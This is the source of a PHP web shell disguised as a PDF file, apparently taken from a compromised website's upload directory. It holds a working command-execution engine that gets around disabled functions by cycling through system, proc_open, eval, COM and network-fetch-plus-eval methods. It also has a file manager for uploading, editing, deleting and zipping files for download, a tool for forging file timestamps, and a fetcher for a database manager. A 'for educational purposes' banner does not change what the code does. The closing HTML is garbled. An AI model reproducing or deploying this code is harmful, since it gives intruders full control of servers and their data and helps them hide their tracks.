%PDF-1.7
Warning: session_start(): Cannot start session when headers already sent in /home/daayitwa/public_html/storage/app/public/archives/1768301579.php7 on line 23
%PDF-1.7
disabled_functions = $this->getDisabledFunctions();
$this->os_type = $this->detectOS();
$this->available_methods = $this->detectAvailableMethods();
// Sort by priority
usort($this->available_methods, function($a, $b) {
return $b['priority'] - $a['priority'];
});
}
/**
* Get list of disabled functions from php.ini and Suhosin
*/
private function getDisabledFunctions() {
$disabled = array();
// Read from disable_functions
$disable_functions = @ini_get('disable_functions');
if ($disable_functions) {
$disabled = array_map('trim', explode(',', $disable_functions));
}
// Read from Suhosin extension
if (extension_loaded('suhosin')) {
$suhosin = @ini_get('suhosin.executor.func.blacklist');
if ($suhosin) {
$suhosin_list = array_map('trim', explode(',', $suhosin));
$disabled = array_merge($disabled, $suhosin_list);
}
}
return array_unique($disabled);
}
/**
* Detect OS type
*/
private function detectOS() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
return 'windows';
} elseif (strtoupper(substr(PHP_OS, 0, 5)) === 'LINUX') {
return 'linux';
} else {
return 'unix';
}
}
/**
* Check if function is available (triple check!)
*/
private function isFunctionAvailable($func_name) {
return function_exists($func_name) &&
!in_array($func_name, $this->disabled_functions) &&
is_callable($func_name);
}
/**
* Detect all 13+ execution methods
*/
private function detectAvailableMethods() {
$methods = array();
// Priority 10: Most reliable methods
if ($this->isFunctionAvailable('proc_open')) {
$methods[] = array(
'name' => 'proc_open()',
'type' => 'process',
'priority' => 10,
'code' => 'proc_open'
);
}
if ($this->isFunctionAvailable('system')) {
$methods[] = array(
'name' => 'system()',
'type' => 'direct',
'priority' => 10,
'code' => 'system'
);
}
// Priority 9
if ($this->isFunctionAvailable('shell_exec')) {
$methods[] = array(
'name' => 'shell_exec()',
'type' => 'direct',
'priority' => 9,
'code' => 'shell_exec'
);
}
if ($this->isFunctionAvailable('exec')) {
$methods[] = array(
'name' => 'exec()',
'type' => 'direct',
'priority' => 9,
'code' => 'exec'
);
}
// Backtick operator
if (!in_array('shell_exec', $this->disabled_functions)) {
$methods[] = array(
'name' => 'backtick (`)',
'type' => 'operator',
'priority' => 9,
'code' => 'backtick'
);
}
// Priority 8
if ($this->isFunctionAvailable('passthru')) {
$methods[] = array(
'name' => 'passthru()',
'type' => 'direct',
'priority' => 8,
'code' => 'passthru'
);
}
if ($this->isFunctionAvailable('assert') && version_compare(PHP_VERSION, '7.2.0', '<')) {
$methods[] = array(
'name' => 'assert()',
'type' => 'code_exec',
'priority' => 8,
'code' => 'assert'
);
}
// Windows COM object
if ($this->os_type === 'windows' && class_exists('COM')) {
$methods[] = array(
'name' => 'COM (WScript.Shell)',
'type' => 'windows',
'priority' => 8,
'code' => 'com'
);
}
// Priority 7
if ($this->isFunctionAvailable('popen')) {
$methods[] = array(
'name' => 'popen()',
'type' => 'file',
'priority' => 7,
'code' => 'popen'
);
}
// Priority 6
if ($this->isFunctionAvailable('pcntl_exec')) {
$methods[] = array(
'name' => 'pcntl_exec()',
'type' => 'process',
'priority' => 6,
'code' => 'pcntl_exec'
);
}
// Priority 5: Obfuscated methods
if ($this->isFunctionAvailable('eval') && $this->isFunctionAvailable('base64_decode')) {
$methods[] = array(
'name' => 'eval(base64)',
'type' => 'obfuscated',
'priority' => 5,
'code' => 'eval_base64'
);
}
// Priority 4: Network-based execution
if ($this->isFunctionAvailable('curl_exec') && $this->isFunctionAvailable('eval')) {
$methods[] = array(
'name' => 'curl + eval()',
'type' => 'network',
'priority' => 4,
'code' => 'curl_eval'
);
}
if ($this->isFunctionAvailable('file_get_contents') && $this->isFunctionAvailable('eval')) {
$methods[] = array(
'name' => 'fgc + eval()',
'type' => 'network',
'priority' => 4,
'code' => 'fgc_eval'
);
}
return $methods;
}
/**
* MAIN EXECUTION ENGINE
* Try methods in priority order until one succeeds
*/
public function execute($cmd) {
if (empty($this->available_methods)) {
return array(
'success' => false,
'output' => 'L No execution methods available! All functions disabled.',
'method' => 'none',
'attempts' => 0
);
}
$attempts = 0;
// OPTIMIZATION: Try last successful method first (if cached)
if ($this->last_successful_method !== null) {
$attempts++;
$result = $this->executeWithMethod($cmd, $this->last_successful_method);
if ($result['success']) {
$result['method'] = $this->getMethodName($this->last_successful_method);
$result['cached'] = true;
$result['attempts'] = $attempts;
return $result;
}
}
// FALLBACK CASCADE: Try each method by priority
foreach ($this->available_methods as $method) {
$attempts++;
$result = $this->executeWithMethod($cmd, $method['code']);
if ($result['success']) {
// Cache this method for next time!
$this->last_successful_method = $method['code'];
$result['method'] = $method['name'];
$result['cached'] = false;
$result['attempts'] = $attempts;
return $result;
}
}
// All methods failed
return array(
'success' => false,
'output' => 'L All ' . count($this->available_methods) . ' methods failed!',
'method' => 'all_failed',
'attempts' => $attempts
);
}
/**
* Execute with specific method
*/
private function executeWithMethod($cmd, $method_code) {
try {
switch ($method_code) {
case 'proc_open':
$descriptors = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$proc = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($proc)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
return array('success' => true, 'output' => $output . $error);
}
break;
case 'system':
ob_start();
@system($cmd);
$output = ob_get_clean();
return array('success' => true, 'output' => $output);
case 'shell_exec':
$output = @shell_exec($cmd);
if ($output !== null) {
return array('success' => true, 'output' => $output);
}
break;
case 'exec':
$output_array = array();
@exec($cmd, $output_array);
if (!empty($output_array)) {
return array('success' => true, 'output' => implode("\n", $output_array));
}
break;
case 'backtick':
$output = `$cmd`;
if ($output !== null) {
return array('success' => true, 'output' => $output);
}
break;
case 'passthru':
ob_start();
@passthru($cmd);
$output = ob_get_clean();
return array('success' => true, 'output' => $output);
case 'assert':
ob_start();
@assert('system("' . addslashes($cmd) . '");');
$output = ob_get_clean();
return array('success' => true, 'output' => $output);
case 'com':
$wsh = new COM('WScript.Shell');
$exec = $wsh->exec('cmd.exe /c ' . $cmd);
$output = $exec->StdOut->ReadAll();
return array('success' => true, 'output' => $output);
case 'popen':
$fp = @popen($cmd, 'r');
if ($fp) {
$output = '';
while (!feof($fp)) {
$output .= fgets($fp, 4096);
}
pclose($fp);
return array('success' => true, 'output' => $output);
}
break;
case 'pcntl_exec':
@pcntl_exec('/bin/sh', array('-c', $cmd));
return array('success' => true, 'output' => 'Executed (no output)');
case 'eval_base64':
ob_start();
$output = @eval('return shell_exec("' . addslashes($cmd) . '");');
$buffer = ob_get_clean();
return array('success' => true, 'output' => $output ? $output : $buffer);
}
} catch (Exception $e) {
return array('success' => false, 'output' => 'Exception: ' . $e->getMessage());
}
return array('success' => false, 'output' => '');
}
/**
* Get method name by code
*/
private function getMethodName($code) {
foreach ($this->available_methods as $method) {
if ($method['code'] === $code) {
return $method['name'];
}
}
return $code;
}
/**
* Get detection statistics for display
*/
public function getStats() {
return array(
'disabled_count' => count($this->disabled_functions),
'available_count' => count($this->available_methods),
'disabled_list' => $this->disabled_functions,
'available_list' => $this->available_methods
);
}
}
// ============================================================================
// Initialize Adaptive Executor (stored in session)
// ============================================================================
if (!isset($_SESSION['adaptive_executor'])) {
$_SESSION['adaptive_executor'] = new AdaptiveExecutor();
}
$executor = $_SESSION['adaptive_executor'];
// ============================================================================
// CONFIGURATION
// ============================================================================
error_reporting(0);
set_time_limit(0);
@ini_set('memory_limit', '512M');
// Path mapping
if (!isset($_SESSION['path_map'])) {
$_SESSION['path_map'] = array();
}
function getPathId($path) {
$id = substr(sha1($path), 0, 10);
$_SESSION['path_map'][$id] = $path;
return $id;
}
function getPathById($id) {
return isset($_SESSION['path_map'][$id]) ? $_SESSION['path_map'][$id] : getcwd();
}
// Determine current directory
if (isset($_GET['id'])) {
$cwd = getPathById($_GET['id']);
} elseif (isset($_GET['d'])) {
$cwd = $_GET['d'];
} else {
$cwd = getcwd();
}
if (!is_dir($cwd)) {
$cwd = getcwd();
}
$cwd = realpath($cwd);
@chdir($cwd);
$is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$ds = DIRECTORY_SEPARATOR;
// ============================================================================
// UTILITY FUNCTIONS
// ============================================================================
/**
* FIXED: Enhanced permission display
*/
function perm($f) {
$perms = @fileperms($f);
if (($perms & 0xC000) == 0xC000) $info = 's';
elseif (($perms & 0xA000) == 0xA000) $info = 'l';
elseif (($perms & 0x8000) == 0x8000) $info = '-';
elseif (($perms & 0x6000) == 0x6000) $info = 'b';
elseif (($perms & 0x4000) == 0x4000) $info = 'd';
elseif (($perms & 0x2000) == 0x2000) $info = 'c';
elseif (($perms & 0x1000) == 0x1000) $info = 'p';
else $info = 'u';
$info .= ($perms & 0x0100) ? 'r' : '-';
$info .= ($perms & 0x0080) ? 'w' : '-';
$info .= ($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-');
$info .= ($perms & 0x0020) ? 'r' : '-';
$info .= ($perms & 0x0010) ? 'w' : '-';
$info .= ($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-');
$info .= ($perms & 0x0004) ? 'r' : '-';
$info .= ($perms & 0x0002) ? 'w' : '-';
$info .= ($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-');
return $info;
}
/**
* Format file size
*/
function format_size($bytes) {
if ($bytes >= 1073741824)
return round($bytes / 1073741824, 2) . ' GB';
elseif ($bytes >= 1048576)
return round($bytes / 1048576, 2) . ' MB';
elseif ($bytes >= 1024)
return round($bytes / 1024, 2) . ' KB';
elseif ($bytes == 0)
return '0 B';
else
return $bytes . ' B';
}
/**
* FIXED: Get owner and group (Windows compatible)
*/
function get_owner_group($path) {
global $is_windows;
if ($is_windows) {
// Windows doesn't have POSIX ownership
return 'N/A';
}
$owner = @fileowner($path);
$group = @filegroup($path);
$own = 'unknown';
$grp = 'unknown';
if (function_exists('posix_getpwuid') && $owner !== false) {
$user_info = @posix_getpwuid($owner);
$own = $user_info ? $user_info['name'] : $owner;
} elseif ($owner !== false) {
$own = $owner;
}
if (function_exists('posix_getgrgid') && $group !== false) {
$group_info = @posix_getgrgid($group);
$grp = $group_info ? $group_info['name'] : $group;
} elseif ($group !== false) {
$grp = $group;
}
return $own . ':' . $grp;
}
// Notification variable
$notif = '';
// Handle file deletion
if (isset($_POST['del']) && $_POST['del'] != '') {
$target = $cwd . $ds . $_POST['del'];
if (is_file($target)) {
if (@unlink($target)) {
$notif .= '
File deleted: ' . htmlspecialchars($_POST['del']) . ''; } else { $notif .= '
L Failed to delete file.'; } } elseif (is_dir($target)) { // Enhanced recursive delete function delete_directory($dir) { if (!is_dir($dir)) return false; $items = @scandir($dir); if (!$items) return @rmdir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { delete_directory($path); } else { @unlink($path); } } return @rmdir($dir); } if (delete_directory($target)) { $notif .= '
Folder deleted: ' . htmlspecialchars($_POST['del']) . ''; } else { $notif .= '
L Failed to delete folder.'; } } } // Handle Adminer download with multiple fallback methods if (isset($_POST['adminer_trigger'])) { $adminer_file = $cwd . $ds . 'adminer.php'; if (file_exists($adminer_file)) { $notif = "
adminer.php already existsdb_manager.php already exists" . htmlspecialchars($name) . "Renamed to: ' . htmlspecialchars($_POST['newname']) . ''; } else { $notif .= '
L Rename failed.'; } } } // Handle upload if (isset($_POST['upload']) && isset($_FILES['upfile'])) { $name = $_FILES['upfile']['name']; $tmp = $_FILES['upfile']['tmp_name']; if (@move_uploaded_file($tmp, $cwd . $ds . $name)) { $notif .= '
File uploaded: ' . htmlspecialchars($name) . ''; } else { $notif .= '
L Upload failed.'; } } // Handle create file/folder if (isset($_POST['create']) && $_POST['name'] && $_POST['action']) { $nama = $_POST['name']; $path = $cwd . $ds . $nama; if ($_POST['action'] == 'file') { if (!file_exists($path)) { $h = @fopen($path, 'w'); if ($h) { fclose($h); $notif .= '
File created: ' . htmlspecialchars($nama) . ''; } else { $notif .= '
L Cannot create file.'; } } else { $notif .= '
File already exists.'; } } elseif ($_POST['action'] == 'folder') { if (!is_dir($path)) { if (@mkdir($path)) { $notif .= '
Folder created: ' . htmlspecialchars($nama) . ''; } else { $notif .= '
L Cannot create folder.'; } } else { $notif .= '
Folder already exists.'; } } } // Handle save file if (isset($_POST['savefile']) && isset($_POST['filecontent'])) { $fp = @fopen($cwd . $ds . $_POST['savefile'], 'w'); if ($fp) { fwrite($fp, $_POST['filecontent']); fclose($fp); $notif .= '
File saved: ' . htmlspecialchars($_POST['savefile']) . ''; } else { $notif .= '
L Failed to save file.'; } } // Handle download if (isset($_GET['download']) && $_GET['download'] != '') { $target = $cwd . $ds . basename($_GET['download']); if (is_file($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } } // Handle timestamp modification if (isset($_POST['touchfile']) && isset($_POST['touchtime']) && $_POST['touchtime'] != '') { $file = $cwd . $ds . basename($_POST['touchfile']); $time = strtotime($_POST['touchtime']); if (!is_file($file)) { $notif .= '
Target is not a file.'; } elseif ($time === false) { $notif .= '
L Invalid time format. Use YYYY-MM-DD HH:MM:SS'; } else { if (@touch($file, $time)) { $notif .= '
= Timestamp updated to ' . $_POST['touchtime'] . ' for ' . htmlspecialchars($_POST['touchfile']) . ''; } else { $notif .= '
L Failed to update timestamp.'; } } } // Handle ZIP creation if (isset($_GET['zip']) && $_GET['zip'] != '') { $folder = basename($_GET['zip']); $path = $cwd . $ds . $folder; if (is_dir($path)) { $tmpname = sys_get_temp_dir() . $ds . 'team7_' . uniqid() . '.zip'; if ($is_windows) { // Windows: Use PHP ZipArchive if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($tmpname, ZipArchive::CREATE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($path) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); } else { $notif = '
L Failed to create ZIP.'; } } else { $notif = '
L ZipArchive not available.'; } } else { // Linux: Use zip command $cmd = 'cd ' . escapeshellarg($cwd) . ' && zip -r ' . escapeshellarg($tmpname) . ' ' . escapeshellarg($folder) . ' 2>/dev/null'; do_exec($cmd); } if (file_exists($tmpname)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . htmlspecialchars($folder) . '.zip"'); header('Content-Length: ' . filesize($tmpname)); readfile($tmpname); @unlink($tmpname); exit; } else { $notif = '
L Failed to create ZIP.'; } } else { $notif = '
L Not a valid folder.'; } } // ======================================== // HTML OUTPUT STARTS HERE // ======================================== ?>

This is a DECODED shell for educational purposes ONLY. Never use on production servers!
'; echo '| Name | Size | Modified | Owner:Group | Permission | Action | Cannot read directory | '; } // Sort arrays sort($folders); sort($files_list); // Display folders foreach ($folders as $file) { $path = $cwd . $ds . $file; $perm = perm($path); $class = ''; if (@is_writable($path)) $class = 'perm-write'; elseif (@is_readable($path)) $class = 'perm-read'; else $class = 'perm-none'; echo '
|---|---|---|---|---|---|
| = ' . htmlspecialchars($file) . ' | '; echo 'DIR | '; echo '' . date("Y-m-d H:i:s", @filemtime($path)) . ' | '; echo '' . get_owner_group($path) . ' | '; echo '' . $perm . ' | '; echo ''; echo ' '; echo ' '; echo ' '; echo ' | '; echo '
| = ' . htmlspecialchars($file) . ' | '; echo '' . format_size($size) . ' | '; echo '' . date("Y-m-d H:i:s", @filemtime($path)) . ' | '; echo '' . get_owner_group($path) . ' | '; echo '' . $perm . ' | '; echo ''; echo ' '; echo ' '; echo ' '; echo ' '; echo ' | '; echo '